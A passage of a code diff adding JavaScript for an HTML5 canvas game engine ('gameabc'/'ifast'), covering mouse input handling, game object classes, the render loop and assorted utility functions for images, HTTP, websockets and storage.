{ + e.preventDefault(); + if (gameabc_face.obj.canclick == 0) { + return; + } + ;g_mouse.movelastx = 0; + g_mouse.movelasty = 0; + g_mouse.isMouseDown = false; + g_mouse.move_time = 0; + get_xy(e, 2); + g_mouse.upx = g_mouse.pointX; + g_mouse.upy = g_mouse.pointY; + g_mouse.doup = false; + g_mouse.up_time = gameabc_face.getruntime(); + g_mouse.up_spid = gameabc_check_click(g_mouse.pointX, g_mouse.pointY); + logmessage('//' + g_mouse.upx + ':' + g_mouse.upy); + }, false); + g_GameObjectManager.canvas.addEventListener(gameabc_face.move, function(e) { + e.preventDefault(); + if (gameabc_face.obj.canclick == 0) { + return; + } + ;gameabc_face.getruntime(); + if (g_mouse.isMouseDown) { + g_mouse.ismove = true; + g_mouse.move_time = gameabc_face.getruntime() - g_mouse.down_time; + get_xy(e, 1); + } + }, false); + gameabc_Object.ObjectList[0].Property = {}; + gameabc_face.obj = gameabc_Object.ObjectList[0].Property; + gameabc_face.obj.color = 0; + gameabc_face.obj.caption = ""; + gameabc_face.obj.canclick = 1; + gameabc_face.obj.uipointer = 0; + if (gameabc_face.onloadurl) { + gameabc_face.onloadurl(0, 0, 0, 0, 0); + } + ;setInterval(dfwtime200, 10); + gameabc_loadui2(); + gameabc_face.starttime = new Date().getTime(); + gameabc_face.nowttime = 0; + gameabc_face.chargez = 0; + gameabc_face.resize(); + if (gameabc_Project.Property.title) { + logmessage(gameabc_Project.Property.title, 2); + } + ;if (gameabc_face.gamestart) { + gameabc_face.gamestart(); + } + ;return this; + } + ; +} +;ifastunit = 1; +function GameObject() { + this.data = {}; + this.rec = {}; + this.other = {}; + this.Property = null; + this.recid = 0; + this.uipointer = 0; + this.classid = 0; + this.objid = 0; + this.clickid = 0; + this.imagecavans = 0; + this.caption = ""; + this.mydataid = 0; + this.tag = 0; + this.tag1 = 0; + this.tag2 = 0; + this.tag3 = 0; + this.rec1 = 0; + this.rec2 = 0; + this.rec3 = 0; + this.f = 0; + this.child = 0; + this.x = 0; + this.y = 0; + this.w = 0; + this.h = 0; + this.z = 0; + this.z_Order = 0; + this.offx = 0; + this.offy = 0; + this.fx = 0; + this.fy = 0; + this.fz = 0; + this.sx = 0; + this.sy = 0; + this.sz = 0; + this.sf = 0; + this.scale = 100; + this.arge = 0; + this.ap = 255; + this.hu = 0; + this.visbale = 1; + this.draw = 0; + this.life = 0; + this.drawtime = 0; + this.canclick = 1; + this.charging = 0; + this.frame = 0; + this.groupid = 0; + this.cx = 0; + this.cy = 0; + this.frame_all = 0; + this.dj = 0; + this.dj_all = 0; + this.bz = 0; + this.jx = 0; + this.fx8 = 0; + this.zt = 0; + this.z_index = 0; + this.click_time = 0; + this.canscroll = 0; + this.ontime = 0; + this.color = 0; + this.xlifemax = 0; + this.xlife = 0; + this.maskrecid = 0; + this.canvas = null; + this.maska = 0; + this.mask_uipointer = 0; + this.mask_frame = 0; + this.dig_frame = 0; + this.game_other = 0; + this.startupGameObject = function(x, y, z) { + this.zOrder = z; + this.x = x; + this.y = y; + g_GameObjectManager.addGameObject(this); + return this; + } + ; + this.dllpritefromspritecopy = function(tag) { + this[this.objid + 'add' + tag] = null; + delete this[this.objid + 'add' + tag]; + delete gameabc_Object["sp" + this.objid + 'add' + tag]; + if (!this.addlist) { + this.addlist = new Array(); + } + ;this.addlist.removeObject(this.objid + 'add' + tag); + } + ; + this.addtospritefromspritecopy = function(fspid, copyspid, x, y, tag) { + if (fspid <= 0) { + return; + } + ;var fobj = ifast_getobj(fspid); + var fobj2 = ifast_getobj(copyspid); + if (!fobj.addlist) { + fobj.addlist = new Array(); + } + ;this.copyme(fobj2, this); + this.x = x; + this.y = y; + this.add_fatag = tag; + this.image = fobj2.image; + this.uidata = fobj2.uidata; + fobj[fspid + 'add' + tag] = this; + gameabc_Object["sp" + fspid + 'add' + tag] = this; + fobj.addlist.push(fspid + 'add' + tag); + return this; + } + ; + this.copyme = function(f, m) { + m.recid = f.recid; + m.uipointer = f.uipointer; + m.classid = f.classid; + m.objid = f.objid; + m.clickid = f.clickid; + m.imagecavans = f.imagecavans; + m.caption = f.caption; + m.mydataid = f.mydataid; + m.tag = f.tag; + m.tag1 = f.tag1; + m.tag2 = f.tag2; + m.tag3 = f.tag3; + m.rec1 = f.rec1; + m.rec2 = f.rec2; + m.rec3 = f.rec3; + m.f = f.f; + m.child = f.child; + m.x = f.x; + m.y = f.y; + m.w = f.w; + m.h = f.h; + m.z = f.z; + m.z_Order = f.z_Order; + m.offx = f.offx; + m.offy = f.offy; + m.fx = f.fx; + m.fy = f.fy; + m.fz = f.fz; + m.sx = f.sx; + m.sy = f.sy; + m.sz = f.sz; + m.sf = f.sf; + m.scale = f.scale; + m.arge = f.arge; + m.ap = f.ap; + m.hu = f.hu; + m.visbale = f.visbale; + m.draw = f.draw; + m.life = f.life; + m.drawtime = f.drawtime; + m.canclick = f.canclick; + m.charging = f.charging; + m.frame = f.frame; + m.groupid = f.groupid; + m.cx = f.cx; + m.cy = f.cy; + m.frame_all = f.frame_all; + m.dj = f.dj; + m.dj_all = f.dj_all; + m.bz = f.bz; + m.jx = f.jx; + m.fx8 = f.fx8; + m.zt = f.zt; + m.z_index = f.z_index; + m.click_time = f.click_time; + m.canscroll = f.canscroll; + m.ontime = f.ontime; + m.color = f.color; + m.xlifemax = f.xlifemax; + m.xlife = f.xlife; + m.maskrecid = f.maskrecid; + m.mask_vasbale = f.mask_vasbale; + m.maska = f.maska; + m.mask_uipointer = f.mask_uipointer; + m.mask_frame = f.mask_frame; + m.dig_frame = f.dig_frame; + m.game_other = f.game_other; + } + ; + this.shutdownGameObject = function() { + g_GameObjectManager.removeGameObject(this); + } + ; +} +;ifastunit = 2; +function GameObjectManager() { + this.gameObjects = new Array(); + this.lastFrame = new Date().getTime(); + this.xScroll = 0; + this.yScroll = 0; + this.applicationManager = null; + this.canvas = null; + this.context2D = null; + this.backBuffer = null; + this.backBufferContext2D = null; + this.drawstart = 0; + this.drawdc = null; + this.crorle1 = 'rgba(0,0,0,0)'; + this.crorle2 = 'white'; + this.userbj = 0; + function g_toclient(mode, ctx) { + if (mode == 1) { + ctx.translate(g_GameObjectManager.canvas.width / 2, g_GameObjectManager.canvas.height / 2); + } else { + ctx.translate(-g_GameObjectManager.canvas.width / 2, -g_GameObjectManager.canvas.height / 2); + } + ; + } + ;this.startupGameObjectManager = function() { + g_GameObjectManager = this; + iui = this; + this.bg1 = null; + this.bg2 = null; + this.d2dbj1 = null; + this.d2dbj2 = null; + this.bg = null; + this.d2dbg = null; + this.bg = document.getElementById('ifastgame_bg'); + if (this.bg) { + this.bg.style.position = "absolute"; + this.bg.style.left = "0px"; + this.bg.style.top = "0px"; + this.d2dbj = this.bg.getContext('2d'); + this.d2dbj.fillStyle = "red"; + this.d2dbj.clearRect(0, 0, this.bg.width, this.bg.height); + this.d2dbj.fillStyle = "white"; + this.d2dbj.textBaseline = "top"; + this.bg.x = 0; + this.bg.y = 0; + this.bg.w = 0; + this.bg.h = 0; + } + ;this.bg1 = document.getElementById('bg1'); + if (this.bg1) { + this.bg1.style.position = "absolute"; + this.bg1.style.left = "0px"; + this.bg1.style.top = "0px"; + this.d2dbj1 = this.bg1.getContext('2d'); + this.d2dbj1.fillStyle = "red"; + this.d2dbj1.clearRect(0, 0, this.bg1.width, this.bg1.height); + this.d2dbj1.fillStyle = "white"; + this.d2dbj1.textBaseline = "top"; + this.bg1.x = 0; + this.bg1.y = 0; + this.bg1.w = 0; + this.bg1.h = 0; + } + ;this.bg2 = document.getElementById('bg2'); + if (this.bg2) { + this.bg2.style.position = "absolute"; + this.bg2.style.left = "0px"; + this.bg2.style.top = "0px"; + this.d2dbj2 = this.bg2.getContext('2d'); + this.d2dbj2.fillStyle = "yellow"; + this.d2dbj2.clearRect(0, 0, this.bg2.width, this.bg2.height); + this.d2dbj2.fillStyle = "white"; + this.d2dbj2.textBaseline = "top"; + this.bg2.x = 0; + this.bg2.y = 0; + this.bg2.w = 0; + this.bg2.h = 0; + } + ;this.canvas = document.getElementById('canvas'); + if (!this.canvas) { + if (gameabc_face.gamestart) { + gameabc_face.gamestart(); + } + ;return; + } + ;this.canvas.style.position = "absolute"; + this.canvas.style.left = "0px"; + this.canvas.style.top = "0px"; + this.context2D = this.canvas.getContext('2d'); + this.ratio = getPixelRatio(this.context2D); + gameabc_face.ratio = this.ratio; + if (!gameabc_face.dfwgao_max) { + gameabc_face.dfwgao_max = 2; + } + ;if (gameabc_face.dfwgao_max) { + if (this.ratio > gameabc_face.dfwgao_max) + (this.ratio = gameabc_face.dfwgao_max) + } + ;gameabc_face.useratio = this.ratio; + this.backBuffer = document.createElement('canvas'); + this.backBuffer.width = this.canvas.width; + this.backBuffer.height = this.canvas.height; + if (gameabc_face.showmode == 0) { + gameabc_setcanvas2(this.canvas); + } else { + gameabc_setcanvas2(this.backBuffer); + } + ;if (gameabc_face.showmode == 100) {} + ;this.backBufferContext2D = this.backBuffer.getContext('2d'); + gameabc_face.dc = this.backBufferContext2D; + ifast_jb = this.backBufferContext2D.createLinearGradient(0, 0, 170, 0); + ifast_jb.addColorStop("0", "magenta"); + ifast_jb.addColorStop("0.5", "blue"); + ifast_jb.addColorStop("1.0", "red"); + this.applicationManager = new ApplicationManager().startupApplicationManager(); + myyyyycheck(); + if (!window.requestAnimationFrame) { + g_timer = setInterval(function() { + g_GameObjectManager.draw(); + }, SECONDS_BETWEEN_FRAMES2); + } else { + this.now = Date.now(); + ;this.then = Date.now(); + this.delta = Date.now(); + g_GameObjectManager.hhhh = 0; + setInterval(this.checkrun, 2000); + this.tick(); + } + ;return this; + } + ; + function myyyyycheck() { + var vendors = ['ms', 'moz', 'webkit', 'o']; + for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) { + window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame']; + window.cancelAnimationFrame = window[vendors[x] + 'CancelAnimationFrame'] || window[vendors[x] + 'CancelRequestAnimationFrame']; + } + } + ;this.checkrun = function() { + if (window.requestAnimationFrame) { + g_GameObjectManager.now = Date.now(); + g_GameObjectManager.delta = g_GameObjectManager.now - g_GameObjectManager.then; + if (g_GameObjectManager.delta > 1000) { + g_GameObjectManager.now = Date.now(); + ;g_GameObjectManager.then = Date.now() - SECONDS_BETWEEN_FRAMES; + g_GameObjectManager.delta = Date.now(); + window.cancelAnimationFrame(g_GameObjectManager.hhhh); + g_GameObjectManager.tick(); + } + ; + } + ; + } + ; + this.drawone = function(obj, dfwts, dfwdt, dt) { + if (arguments.length == 4) { + if (obj.draw) { + if (obj.levelobj) { + if (obj.ontime > 0) { + if (obj.click_time == 0) { + obj.click_time = gameabc_face.nowttime; + obj.lasttime_ontimer = obj.click_time; + } else { + var ttt = gameabc_face.nowttime - obj.lasttime_ontimer; + if (ttt >= obj.ontime) { + obj.lasttime_ontimer = gameabc_face.nowttime; + var iii = ifast_div(ttt, obj.ontime); + var fun0 = gameabc_face["ontimer"]; + if (fun0) { + gameabc_face.drawtime = 1; + fun0(0, obj.objid, iii, ttt, gameabc_face.nowttime - obj.click_time); + } + ;var fun = gameabc_face["ontimer_" + obj.objid]; + if (fun) { + gameabc_face.drawtime = 1; + fun(obj.objid, obj.objid, iii, ttt, gameabc_face.nowttime - obj.click_time); + } + ; + } + } + } + ;if (obj.levelobj.vsb > 0 && obj.visbale != 0) { + this.backBufferContext2D.save(); + this.backBufferContext2D.beginPath(); + if (obj.f) { + this.backBufferContext2D.translate(obj.f.x, obj.f.y); + } + ;if (gameabc_face.gamemydrawbegin) { + gameabc_face.gamemydrawbegin(0, obj.objid, dfwts, dfwdt); + } + ;obj.draw(dt, this.backBufferContext2D, this.xScroll, this.yScroll); + var yyy1; + var obj2; + var r2; + var ll; + var objlis; + if (obj.addlist) { + objlist = obj.addlist; + ll = objlist.length; + for (yyy1 = 0; yyy1 < ll; yyy1++) { + obj2 = obj[objlist[yyy1]]; + if (obj2) { + if (ifast_checkrect_seefastxy(obj.x + obj2.x, obj.y + obj2.y) == 0) { + continue; + } + ;if (ifast_checkrect_seefastxywh(obj.x + obj2.x, obj.y + obj2.y, obj.x + obj2.x + obj2.w, obj.y + obj2.y + obj2.h) == 0) { + continue; + } + ;ifast_mydrawsprite(obj, obj2); + continue; + r2 = ifast_rect(obj.x + obj2.x, obj.y + obj2.y, obj.x + obj2.x + obj2.w, obj.y + obj2.y + obj2.h); + if (ifast_checkrect(ifast_seerect, r2) == 1) { + ifast_mydrawsprite(obj, obj2); + } + } + } + } + ;gameabc_face.gamemydraw(0, obj.objid, dfwts, dfwdt); + this.backBufferContext2D.restore(); + } + ; + } else {} + ; + } + ;return; + } + ;var x; + for (x in this.gameObjects) { + obj = this.gameObjects[x]; + this.drawone(obj, dfwts, dfwdt, dt); + } + ; + } + ; + this.tick = function() { + var uu; + if (window.requestAnimationFrame) { + g_GameObjectManager.hhhh = requestAnimationFrame(g_GameObjectManager.tick); + g_GameObjectManager.now = Date.now(); + g_GameObjectManager.delta = g_GameObjectManager.now - g_GameObjectManager.then; + if (g_GameObjectManager.delta >= SECONDS_BETWEEN_FRAMES) { + g_GameObjectManager.then = g_GameObjectManager.now - (g_GameObjectManager.delta % SECONDS_BETWEEN_FRAMES); + g_GameObjectManager.draw(); + } + } else { + setTimeout(g_GameObjectManager.tick, SECONDS_BETWEEN_FRAMES); + g_GameObjectManager.draw(); + } + ; + } + ; + this.clearcanvas = function() {//---xwb--------------------- + this.backBufferContext2D.save(); + this.backBufferContext2D.beginPath(); + this.backBufferContext2D.clearRect(0, 0, this.backBuffer.width, this.backBuffer.height); + if (gameabc_Object.ObjectList.length < 20 && (!gameabc_face.dfwtou)) { + this.backBufferContext2D.fillStyle = "white"; + this.backBufferContext2D.fillRect(0, 0, this.backBuffer.width, this.backBuffer.height); + } else {} + } + ; + this.draw = function() {//---xwb--------------------- + try{ + + var bugi=0; + var thisFrame = new Date().getTime(); + var dfwdt = (thisFrame - this.lastFrame); + var dfwts = parseInt(dfwdt / SECONDS_BETWEEN_FRAMES); + var dt = dfwdt / 1000; + this.lastFrame = thisFrame; + var clickid1 = 0; + gameabc_face.getruntime_now(); + gameabc_runani(); + bugi=1; + gameabc_runbox(); + bugi=2; + if (g_mouse.doup == false) { + var tt = gameabc_face.nowttime - g_mouse.down_time; + if (tt < gameabc_face.fastup_time) { + gameabc_face.fastup = g_mouse.down_spid; + } + } + ;if (!g_mouse.dodown) { + logmessage("mousedown/" + g_mouse.down_spid + "/" + g_mouse.downx + "/" + g_mouse.downy); + gameabc_face.mousedown(0, g_mouse.down_spid, g_mouse.downx, g_mouse.downy); + g_mouse.dodown = true; + if (gameabc_face["mousedown_" + g_mouse.down_spid]) { + gameabc_face["mousedown_" + g_mouse.down_spid](g_mouse.down_spid, g_mouse.down_spid, g_mouse.downx, g_mouse.downy); + } + ; + } + ;if (g_mouse.isMouseDown) { + gameabc_face.drawmouse = 1; + var tt = gameabc_face.nowttime - g_mouse.down_time; + if (g_mouse.ismove == false) { + logmessage("mousedown_nomove/" + g_mouse.down_spid + "/" + g_mouse.downx + "/" + g_mouse.downy + "/" + tt); + gameabc_face.mousedown_nomove(0, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, tt); + if (gameabc_face["mousedown_nomove_" + g_mouse.down_spid]) { + gameabc_face["mousedown_nomove_" + g_mouse.down_spid](g_mouse.down_spid, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, tt); + } + } else { + logmessage("mousemove/" + g_mouse.down_spid + "/" + g_mouse.downx + "/" + g_mouse.downy + "/" + tt + "/" + (g_mouse.pointX - g_mouse.downx) + "/" + (g_mouse.pointY - g_mouse.downy)); + gameabc_face.mousemove(0, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, g_mouse.pointX, g_mouse.pointY, tt, g_mouse.pointX - g_mouse.movelastx, g_mouse.pointY - g_mouse.movelasty); + if (gameabc_face["mousemove_" + g_mouse.down_spid]) { + gameabc_face["mousemove_" + g_mouse.down_spid](g_mouse.down_spid, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, g_mouse.pointX, g_mouse.pointY, tt, g_mouse.pointX - g_mouse.movelastx, g_mouse.pointY - g_mouse.movelasty); + } + ;g_mouse.movelastx = g_mouse.pointX; + g_mouse.movelasty = g_mouse.pointY; + } + } + ;if (g_mouse.doup == false) { + gameabc_face.drawmouse = 1; + var tt2 = gameabc_face.nowttime - g_mouse.down_time; + clickid1 = g_mouse.up_spid; + if (clickid1 > 0) { + gameabc_face.clickid = clickid1; + g_mouse.up_spid = clickid1; + } + { + gameabc_face.mouseup(0, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, clickid1, g_mouse.upx, g_mouse.upy, tt2); + if (gameabc_face["mouseup_" + g_mouse.down_spid]) { + gameabc_face["mouseup_" + g_mouse.down_spid](g_mouse.down_spid, g_mouse.down_spid, g_mouse.downx, g_mouse.downy, clickid1, g_mouse.upx, g_mouse.upy, tt2); + } + ;logmessage("mouseup/" + g_mouse.down_spid + "/" + g_mouse.downx + "/" + g_mouse.downy + "/" + clickid1 + "/" + g_mouse.upx + "/" + g_mouse.upy + "/" + tt2); + } + ;g_mouse.doup = true; + gameabc_face.fastup = -1; + } + ;if (gameabc_face.userchargez == 1) { + if (gameabc_face.chargez == 1) { + this.gameObjects.sort(function(a, b) { + return a.zOrder - b.zOrder; + }); + gameabc_face.chargez = 0; + } + ; + } + ;this.clearcanvas(); + bugi=3; + gameabc_face.gamebegindraw(0, 0, dfwts, dfwdt); + if (gameabc_face.userchargez == 1) { + this.drawone(dfwts, dfwdt, dt); + } else { + var obj; + var tid; + var yy; + var le = gameabc_Layer.LayerList; + var timelist = gameabc_Layer.showtimelist; + var showorder = gameabc_Layer.showorder; + var xx; + var yy1; + var pp; + for (yy1 = 0; yy1 < timelist.length; yy1++) { + yy = timelist[yy1]; + pp = le[yy].ontimelist; + if (pp.length > 0) { + for (xx = 0; xx < pp.length; xx++) { + obj = gameabc_Object["sp" + pp[xx]]; + if (obj) { + this.drawone(obj, dfwts, dfwdt, dt); + } else { + if (!gameabc_face.tsbb) { + showmessage('版本可能未注册!'); + gameabc_face.tsbb = 1; + } + } + } + ; + } else { + continue; + } + ; + } + ;for (yy1 = 0; yy1 < showorder.length; yy1++) { + yy = showorder[yy1]; + if (!le[yy].Property) { + continue; + } + ;pp = le[yy].ObjectList; + for (xx = 0; xx < pp.length; xx++) { + obj = gameabc_Object["sp" + pp[xx]]; + if (obj) { + this.drawone(obj, dfwts, dfwdt, dt); + } else { + if (!gameabc_face.tsbb) { + showmessage('版本可能未注册!'); + gameabc_face.tsbb = 1; + } + } + } + ; + } + ; + } + ;gameabc_face.gameenddraw(0, 0, dfwts, dfwdt); + bugi=4; + if (gameabc_face.showzt == 1) { + game124.update(); + } + ;if (gameabc_face.loglist.length > 0) { + var yyyy; + var uu = gameabc_face.loglist.length - 1; + for (yyyy = uu; yyyy >= 0; yyyy--) { + this.backBufferContext2D.textBaseline = "top"; + this.backBufferContext2D.fillStyle = "red"; + this.backBufferContext2D.font = 32 + 'px' + ' bold san-serif'; + this.backBufferContext2D.fillText(gameabc_face.loglist[yyyy], 10, 80 + (uu - yyyy) * 32); + } + ; + } + ;if (gameabc_face.obj.color != 0) { + gameabc_face.zz2d.clearRect(0, 0, 1, 1); + gameabc_face.zz2d.fillStyle = gameabc_face.obj.color; + gameabc_face.zz2d.fillRect(0, 0, 1, 1); + this.backBufferContext2D.drawImage(gameabc_face.zz_canvas, 0, 0, 1, 1, 0, 0, this.backBuffer.width, this.backBuffer.height); + } + ;if (gameabc_face.obj.caption != "") { + this.backBufferContext2D.fillStyle = "white"; + this.backBufferContext2D.font = parseInt(24 * this.backBuffer.width / 480) + "px" + ' bold san-serif'; + this.backBufferContext2D.fillText(gameabc_face.obj.caption, parseInt(this.backBuffer.width / 2) - 50, parseInt(this.backBuffer.height / 2) + 100); + } + ;if (gameabc_face.checkmustdraw() == 0) { + return; + } + bugi=5; + ;this.context2D.fillStyle = this.crorle1; + // this.context2D.clearRect(0, 0, this.canvas.width, this.canvas.height);//--xwb-- + if (gameabc_face.showmode == 0) { + if (gameabc_face.jm_sj_tong == 0) { + this.context2D.save(); + this.context2D.translate(this.backBuffer.width / 2, this.backBuffer.height / 2); + this.context2D.rotate(-90 * Math.PI / 180); + this.context2D.translate(-this.backBuffer.height / 2, -this.backBuffer.width / 2); + this.context2D.drawImage(this.backBuffer, 0, 0, this.backBuffer.width, this.backBuffer.height, gameabc_face.drawx, gameabc_face.drawy, gameabc_face.drawh, gameabc_face.draww); + this.context2D.restore(); + } else { + this.context2D.drawImage(this.backBuffer, 0, 0, this.backBuffer.width, this.backBuffer.height, 0, 0, this.canvas.width, this.canvas.height); + } + ; + } else { + this.context2D.drawImage(this.backBuffer, 0, 0, this.backBuffer.width, this.backBuffer.height, gameabc_face.drawx, gameabc_face.drawy, gameabc_face.draww, gameabc_face.drawh); + } + bugi=6; + ;this.backBufferContext2D.restore(); + bugi=7; + + //GameUI.gameenddraw(); + }catch(e){ + // if(Net){ + // if(Net.submit_error){ + // if(gameabc_senderror == 0){ + // gameabc_senderror = 1; + // Net.submit_error("uidebug",bugi+':::'+e.stack);//xwb--------------- + // } + + // } + // } + console.log(e.stack); + } + } + ; + this.addGameObject = function(gameObject) { + this.gameObjects.push(gameObject); + this.gameObjects.sort(function(a, b) { + return a.zOrder - b.zOrder; + }); + } + ; + this.removeGameObject = function(gameObject) { + this.gameObjects.removeObject(gameObject); + } + ; +} +;ifastunit = 4; +Array.prototype.remove = function(from, to) { + var rest = this.slice((to || from) + 1 || this.length); + this.length = from < 0 ? this.length + from : from; + return this.push.apply(this, rest); +} +; +Array.prototype.removeObject = function(object) { + for (var i = 0; i < this.length; ++i) { + if (this[i] === object) { + this.remove(i); + break; + } + } +} +; +Array.prototype.indexofval = function(val) { + for (var i = 0; i < this.length; i++) { + if (this[i] == val) + return i; + } + ;return -1; +} +; +Array.prototype.removeval = function(val) { + var index = this.indexOf(val); + if (index > -1) { + this.splice(index, 1); + } +} +; +ifastunit = 5; +function VisualGameObject() { + this.image = null; + this.draw = function(dt, context, xScroll, yScroll) { + context.drawImage(this.image, this.x - xScroll, this.y - yScroll); + } + ; + this.startupVisualGameObject = function(image, x, y, z) { + this.startupGameObject(x, y, z); + this.image = image; + return this; + } + ; + this.shutdownVisualGameObject = function() { + this.shutdownGameObject(); + } + ; +} +;VisualGameObject.prototype = new GameObject; +ifastunit = 3; +var FPS = 33; +var SECONDS_BETWEEN_FRAMES = 1000 / FPS; +var SECONDS_BETWEEN_FRAMES2 = 500 / FPS; +var g_GameObjectManager = null; +var g_mouse = {}; +window.onload = init; +function init() { + gameabc_face.gameini(); + gameabc_face.fastup = -1; + new GameObjectManager().startupGameObjectManager(); +} +;ifastunit = 6; +var gameabc_face = gameabc_face || {}; +var ifastfen = "\r\n"; +var ifastnull = null; +var dfwnull = "null"; +var ifastno = undefined; +gameabc_face.showmessage = function(str, mode) { + if (arguments.length == 1) { + alert(str); + } else { + var s = prompt(str); + return s; + } +} +; +gameabc_face.logmessage = function(str) { + console.info(str); +} +; +function ifast_float(f, r) { + if (arguments.length == 1) { + r = gameabc_face.vw; + } + ;return parseFloat(i * r); +} +;function ifast_int(i, r) { + if (arguments.length == 1) { + r = gameabc_face.vw; + } + ;return parseInt(i * r); +} +;function ifast_inttostr(i) { + return i.toString(); +} +;function ifast_strtoint(s, def) { + var u = parseInt(s); + if (u == 0) { + return 0; + } + ;if (!u) { + if (!def) { + def = 0 + } + ;u = def; + } + ;return u; +} +;function set_color(spid, r, g, b, a) { + var c; + if (a == 0) { + c = 0; + } else { + c = "rgba(" + r + "," + g + "," + b + "," + a / 256 + ")"; + } + ;set_self(spid, 58, c, 0, 0); +} +;function game_open_zsmsg(msg, a) { + gameabc_face.drawcharge = 1; + set_self(0, 7, msg, 0, 0); + if (!a) { + a = 32; + } + ;if (gameabc_face.obj.color == 0) { + set_color(0, 0, 0, 0, 128 + a); + } + ;gameabc_face.obj.canclick = 0; +} +;function game_close_zsmsg() { + gameabc_face.drawcharge = 1; + set_self(0, 7, "", 0, 0); + set_self(0, 58, 0, 0, 0); + gameabc_face.obj.canclick = 1; +} +;function open_load(bmprec, wavrec, urlrec) { + if (wavrec) { + ifast_wav.loadall(wavrec); + } + ; +} +;function ifast_strtotime(str) { + return Date.parse(str); +} +;function ifast_getonlyid() { + var timestamp3 = new Date().getTime(); + timestamp3 = ifast_random(9999999999) + '0' + timestamp3; + return timestamp3; +} +;function set_windows(mysf, v, dfw) { + if (mysf == 100) { + document.body.style.background = "url(" + v + ")"; + return; + } + ;if (mysf == 101) { + gameabc_face.dfwgao = 1; + return; + } + ;if (mysf == 102) { + gameabc_face.dfwtou = 1; + return; + } + ;gameabc_face.jm_sj_cj = mysf; + gameabc_Project.Property.Version = v; + ifast_ismast = 1; + if (dfw == 1977) { + game124.domElement.style.left = "1111110px"; + } + ;gameabc_face.resize2000(); +} +;function charge_windows(sjw, sjh, winw, winh) { + gameabc_face.isxz = 0; + gameabc_face.drawx = 0; + gameabc_face.drawy = 0; + gameabc_face.draww = 0; + gameabc_face.drawh = 0; +} +;function addinputdiv(id, type, x, y, w, h) { + return gameabc_face.addinputdiv(id, type, x, y, w, h); +} +;function set_selfdiv(div, p1, val, mode, data2) { + return gameabc_face.set_selfdiv(div, p1, val, mode, data2); +} +;function get_img(recid) { + var img = gameabc_load_img2(recid); + var get_img_canvas = document.createElement("canvas"); + var ctx = get_img_canvas.getContext("2d"); + get_img_canvas.width = img.width; + get_img_canvas.height = img.height; + ctx.drawImage(img, 0, 0); + return get_img_canvas.toDataURL("image/png"); +} +;function ifast_loadsprite(spritelist) { + var i; + for (i = 0; i < spritelist.length; i++) { + gameabc_loadui2(spritelist[i]); + } +} +;function openurl(url, mode, cp1) { + if (cp1) { + url = url + "?" + cp1; + } + ;switch (mode) { + case 0: + window.location.href = url; + break; + case 1: + break; + default: + window.location.href = url; + break; + } +} +;function up_imgurl(recid, url, rewh) { + var img = gameabc_load_img2(recid); + gameabc_face.img_list_downing.removeObject(img); + if (rewh == 1) { + img.rewh = 1; + } + ;img.onload = function() { + gameabc_face.drawcharge = 1; + if (this.rewh == 1) { + ifast_checkimg(recid, 1); + } else { + var obj = gameabc_Image.ImageFileList[recid]; + if ((obj.img.allh < img.height) || (obj.img.allw < img.width)) { + ifast_checkimg(recid, 1); + } + } + ;img.rewh = 0; + } + ; + img.src = url; +} +;function up_imgdata(recid, data) { + gameabc_face.drawcharge = 1; + var img = gameabc_load_img2(recid); + if (data.substring(0, 4) != "data") { + img.src = "data:image/jpeg;base64," + data; + return; + } + ;img.src = data; +} +;function get_selfdiv(div, p1) { + gameabc_face.get_selfdiv(div, p1); +} +;function set_selflist_off(id, offx1, offy1) { + var obj = gameabc_func.getobj(id); + if (ifast_isno(obj)) { + return; + } + ;obj.setoff(offx1, offy1); +} +;function set_selflist_xywh(id, x1, y1, w1, h1) { + var obj = gameabc_func.getobj(id); + if (ifast_isno(obj)) { + return; + } + ;obj.x = x1; + obj.y = y1; + obj.w = w1; + obj.h = h1; + obj.charge(x1, y1, w1, h1); +} +;function ifast_random(b) { + return parseInt(Math.random() * b); +} +;function ifast_abs(b) { + return Math.abs(b); +} +;function ifast_tcp_open(tcpid, weburl) { + ifast_wss.open(tcpid, weburl); +} +;function ifast_tcp_send(tcpid, msg) { + msg = ifast_jsonchecktostring(msg); + ifast_wss.send(tcpid, msg); +} +;function ifast_tcp_close(tcpid) { + ifast_wss.close(tcpid); +} +;function set_jm_xx(jms) { + var arr1 = jms.split(","); + var i = 0; + var level1 = 0; + var d = 0; + var id; + var leid; + var obj2; + for (d = 1; d < gameabc_Layer.LayerList.length; d++) { + gameabc_Layer.LayerList[d].vsb = 0; + } + ;gameabc_face.chargez = 1; + for (i = 0; i < arr1.length; i++) { + level1 = arr1[i]; + leid = gameabc_Layer.LayerList[level1]; + if (!leid) { + continue; + } + ;leid.vsb = 1; + for (d = 0; d < leid.ObjectList.length; d++) { + id = leid.ObjectList[d]; + obj2 = ifast_getobj(id); + if (obj2) { + obj2.zOrder = i * 10000 + obj2.uidata.IndexOfLayer; + } + } + ; + } + ; +} +;function ifast_ajax(myid, url, postcs, mode, fun) {} +;function ifast_http(myid, url, postcs, mode, fun) { + postcs = ifast_jsonchecktostring(postcs); + var temp = url.substr(url.length - 4); + if (temp == '.txt' || temp == '.html' || postcs) {} else { + if ((temp[0] != '.') || (temp != '.txt' && temp != '.html')) { + if (gameabc_face.randomhttp > 0) { + url = url + '&dfwhttp=' + ifast_random(gameabc_face.randomhttp) + ifast_random(gameabc_face.randomhttp); + } + ; + } + } + ;var pos = url.indexOf("http"); + if (pos < 0) { + url = getRootPath() + "/" + url; + } + ;var d; + var func; + if (fun) { + func = fun; + } else { + func = gameabc_face.httpmessage; + } + ;if (mode == 0) { + d = readfile_t(url, postcs); + if (func) { + func(myid, url, d); + } + ; + } else { + if (func) { + readfile_a2(myid, url, postcs, func); + } + ; + } + ; +} +;function play_wav(id, isloop1) { + ifast_wav.playwav(id, isloop1); +} +;function ifast_getcs(name, daf) { + return gameabc_face.ifast_getcs(name, daf); +} +;function set_chargez(spid1, spid2) { + var b1; + var b2; + var t; + b1 = ifast_getobj(spid1); + b2 = ifast_getobj(spid2); + if (!b1) + return; + if (!b2) + return; + t = b1.zOrder; + b1.zOrder = b2.zOrder; + b2.zOrder = t; + gameabc_face.chargez = 1; + gameabc_face.userchargez = 1; + gameabc_face.drawcharge = 1; +} +;function readfile_key(key) { + return localStorage.getItem(key); +} +;function ifast_getdc_rect(dcid) { + var rect1 = {}; + var ui = g_GameObjectManager; + switch (dcid) { + case 